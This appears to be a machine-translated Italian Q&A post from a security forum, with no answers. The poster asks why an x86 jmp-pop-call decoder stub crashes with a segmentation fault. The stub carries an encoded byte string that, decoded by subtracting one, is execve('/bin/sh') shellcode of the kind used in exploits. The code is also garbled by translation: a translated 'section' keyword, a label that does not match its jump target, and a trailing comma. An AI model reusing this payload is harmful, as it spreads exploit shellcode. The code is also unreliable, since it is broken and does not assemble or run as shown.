Decodificatore di assieme con tecnica jmp-pop-call

2

Questa è una parte del codice in cui non riesco a capire l'errore. Sto usando la tecnica chiamata jmp-pop-call e quello che ottengo è "Segmentation Fault". Ho cercato di usare GDB ma le cose sono davvero vaghe. Ogni byte è codificato da 1 in python e quello che voglio è decodificare con la seguente parte di codice:

global _start
sezione .text

_start:

jmp short call_shellcode

decoder:

pop esi
xor eax, eax
mov edx, 23

decodifica:

mov bl, byte[esi+eax]
dec byte[esi+eax]

cont:

cmp eax,edx
jz short encodedShellcode
inc eax
jmp short decode

call_shellcode:

call decoder
encodedShellcode db 0x32,0xc1,0x51,0x69,0x30,0x74,0x69,0x69,0x30,0x63,0x6a,0x6f,0x8a,0xe4,0x51,0x54,0x8a,0xe2,0x9a,0xb1,0x0c,0xce,0x81,
    
posta George Diathesopoulos 19.12.2014 - 00:18
fonte

0 risposte

Leggi altre domande sui tag